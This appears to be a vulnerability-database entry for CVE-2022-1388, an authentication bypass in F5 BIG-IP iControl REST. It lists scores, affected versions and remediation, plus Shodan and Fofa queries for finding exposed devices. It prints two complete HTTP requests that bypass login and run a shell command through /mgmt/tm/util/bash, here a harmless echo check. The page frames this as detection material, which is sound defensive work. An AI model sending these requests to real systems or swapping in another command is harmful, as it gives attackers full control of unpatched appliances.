🔙 목록으로 돌아가기

CVE-2022-1388: F5 BIG-IP iControl - REST Auth Bypass RCE

TitleF5 BIG-IP iControl - REST Auth Bypass RCE
Authordwisiswant0,Ph33r
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to bypass authentication and execute arbitrary code on the affected system.
RemediationApply the necessary security patches or updates provided by F5 Networks to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.94456
CVE IDCVE-2022-1388
CWE IDCWE-306
Shodan Queryhttp.title:"BIG-IP®-+Redirect" +"Server"http.title:"big-ip®-+redirect" +"server"
Fofa Querytitle="big-ip®-+redirect" +"server"
Tags cve cve2022 f5 bigip rce mirai kev vkev vuln

🔍 Vulnerability Description

F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, may allow undisclosed requests to bypass iControl REST authentication.

🌐 HTTP Request

POST /mgmt/tm/util/bash HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.6.25
Content-Length: 81
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
Content-Type: application/json
X-F5-Auth-Token: a
Accept-Encoding: gzip
Connection: close

{

     "command": "run",

     "utilCmdArgs": "-c 'echo CVE-2022-1388 | rev'"

}
POST /mgmt/tm/util/bash HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Content-Length: 81
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
Content-Type: application/json
X-F5-Auth-Token: a
Accept-Encoding: gzip
Connection: close

{

     "command": "run",

     "utilCmdArgs": "-c 'echo CVE-2022-1388 | rev'"

}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1388.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-1388.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A